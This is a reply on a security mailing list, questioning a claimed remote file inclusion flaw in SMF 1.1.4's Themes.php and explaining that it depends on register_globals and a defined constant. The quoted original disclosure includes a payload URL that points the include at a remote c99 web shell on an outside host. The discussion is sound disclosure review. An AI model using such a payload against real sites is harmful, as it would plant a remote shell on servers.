[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: Smf 1.1.4 Remote File Inclusion Vulnerabilities
-----BEGIN PGP SIGNED MESSAGE-----
If you look at the source, it is looking for a constant SMF and if this
is undefined, it will die with that error message.
- From line 24 of Sources/Themes.php:
I looked over the source and like so many of these RFIs coming out
lately, they highly depend on register_globals being on as well.
I think s/he is specifically pointing to line 913 of Sources/Themes.php
if (file_exists($settings['theme_dir'] . '/languages/Settings.' .
$user_info['language'] . '.php'))
include($settings['theme_dir'] . '/languages/Settings.' .
$user_info['language'] . '.php');
(sorry for wrapping)
sibertrwolf: Just a suggestion, you may want to put a bit more
information in your disclosures like what versions of PHP and what INI
settings you have set.
Jindrich Kubec wrote:
> At 11:00 28.3.2008, sibertrwolf@xxxxxxxx wrote:
>> # /Sources/Themes.php?settings[theme_dir]=http://bilmemne.siz/c99.txt?
> What is it supposed to do? I'm getting only "Hacking attempt..."
> Jindroush (kubecj@xxxxxxxxx)
ISSO, Application Security Specialist
Government Contractor with STG, Inc.
NOAA :: National Climatic Data Center
151 Patton Ave.
Asheville, NC 28801-5001
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
-----END PGP SIGNATURE-----